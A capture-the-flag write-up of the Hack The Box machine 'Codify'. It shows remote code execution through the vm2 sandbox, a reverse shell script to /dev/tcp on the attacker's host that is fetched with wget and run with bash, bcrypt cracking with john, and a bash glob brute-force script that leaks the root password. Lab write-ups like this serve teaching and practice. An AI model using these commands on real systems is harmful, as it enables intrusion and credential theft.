Skip to content

Codify — HTB

IP: 10.129.44.100 OS: Ubuntu Linux Date Started: 2026-03-04 Hostname: codify.htb (added to /etc/hosts)

Enumeration

Nmap

Three open ports:

22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp   open  http    Apache httpd 2.4.52 (redirects to http://codify.htb/)
3000/tcp open  http    Node.js Express framework (title: "Codify")
  • Apache on port 80 redirects to codify.htb
  • Port 3000 is a Node.js Express app — likely the actual application behind Apache reverse proxy
  • SSH version suggests Ubuntu 22.04 (Jammy)

Web

Stack: Node.js Express (port 3000), Apache reverse proxy (port 80)

Key Endpoints:

Path Notes
/editor Online Node.js code editor with "Run" button
/limitations Lists restricted modules and whitelist
/about Reveals vm2 sandbox library

Restrictions listed on /limitations: - Blocked modules: child_process, fs - Whitelisted: url, crypto, util, events, assert, stream, path, os, zlib

Critical finding: /about page states the app uses the vm2 library for sandboxing.

vm2 Sandbox Escape (CVE-2023-30547)

vm2 <= 3.9.16 has a sandbox escape vulnerability. Exploiting it allows code execution outside the sandbox, bypassing all module restrictions.

Confirmed RCE by running in the editor:

const { spawnSync } = require('node:child_process');
const result = spawnSync('id');
console.log(result.stdout.toString());

Output: uid=1001(svc) gid=1001(svc) groups=1001(svc)

Foothold

Reverse Shell as svc

Direct bash reverse shell via spawnSync didn't work — spawnSync passes arguments as an array directly to the process (no shell interpretation), so >& redirect syntax isn't processed.

Workaround: Hosted a reverse shell script on a Python HTTP server, pulled it down with wget, then executed it with bash.

# On attacker box — create rev shell script
cat YourMomsRevShell.sh
# sh -i >& /dev/tcp/10.10.14.24/42069 0>&1

# Serve it
python3 -m http.server 553
// In the editor — download the script
const { spawnSync } = require('node:child_process');
const result = spawnSync('wget',['10.10.14.24:553/YourMomsRevShell.sh']);
console.log(result.stdout.toString());
// In the editor — execute the script
const { spawnSync } = require('node:child_process');
const result = spawnSync('bash',['YourMomsRevShell.sh']);
console.log(result.stdout.toString());

Reverse shell obtained as svc (uid=1001).

Internal Enumeration

  • Two users in /home/: svc and joshua
  • joshua/user.txt not readable by svc
  • sudo -l requires password (don't have svc's password)

Found SQLite database at /var/www/contact/tickets.db:

$ strings tickets.db

Database contains a users table with joshua's bcrypt hash:

User Hash
joshua $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

Privilege Escalation

Hash Cracking → SSH as joshua

Cracked joshua's bcrypt hash with John:

echo 'joshua:$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > loot/joshua_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt loot/joshua_hash.txt

Result: joshuaspongebob1

ssh [email protected]
# Password: spongebob1

User flag: e68ade154d9e5d0e9aa237afb6ffc645

joshua → root (Bash Glob Pattern Exploit)

joshua@codify:~$ sudo -l
# (root) /opt/scripts/mysql-backup.sh

The script (/opt/scripts/mysql-backup.sh): - Reads the root password from /root/.creds into $DB_PASS - Prompts for user input into $USER_PASS - Compares them with: if [[ $DB_PASS == $USER_PASS ]]

The vulnerability: $USER_PASS is unquoted on the right side of == inside [](<#>). In bash, an unquoted right-hand side is treated as a glob pattern, not a literal string. Entering * matches anything.

Bypass confirmed:

echo "*" | sudo /opt/scripts/mysql-backup.sh
# Password confirmed!

Brute-force script to extract the actual password character by character — if k* matches, the password starts with k. Then try ka*, kb*... to find the second character, and so on:

#!/bin/bash
password=""
characters="abcdefghijklmnopqrstuvwxyz0123456789"

while true; do
    found=false
    for (( i=0; i<${#characters}; i++ )); do
        char="${characters:$i:1}"
        if echo "${password}${char}*" | sudo /opt/scripts/mysql-backup.sh 2>/dev/null | grep -q "confirmed"; then
            password+="$char"
            echo "Found so far: $password"
            found=true
            break
        fi
    done
    if [ "$found" = false ]; then
        echo "Final password: $password"
        break
    fi
done

Result: kljh12k3jhaskjh12kjh3

su - root
# Password: kljh12k3jhaskjh12kjh3
cat /root/root.txt

Root flag: 6ef0b42bf0847f1650805cda1c84a37a

Flags

  • User: e68ade154d9e5d0e9aa237afb6ffc645
  • Root: 6ef0b42bf0847f1650805cda1c84a37a

Lessons Learned

  • vm2 sandbox escape (CVE-2023-30547) — if an app advertises vm2, check the version. <= 3.9.16 is trivially escapable
  • spawnSync vs shell executionspawnSync doesn't interpret shell redirects (>&). To use bash syntax, either: (a) use execSync which runs through a shell, or (b) download and execute a script file
  • Hosting a rev shell on HTTP is a reliable fallback when direct injection is tricky — wget + bash script.sh works cleanly
  • SQLite databases in web app directories are credential goldmines — always strings or query them
  • Bcrypt cost factor matters — cost 12 is ~4x slower to crack than cost 10, but rockyou still works for weak passwords
  • Bash [](<#>) glob comparison — if the right side of == is unquoted inside [](<#>), it's treated as a glob pattern. * matches everything. This is a real privilege escalation vector when scripts compare secrets this way
  • Character-by-character brute-force via glob patterns — a*, ab*, abc*... leaks passwords one character at a time when you can repeatedly trigger a comparison
  • Always read sudo scripts — the vulnerability wasn't in what the script does, but in how it compares strings. A single missing pair of quotes around $USER_PASS gave us root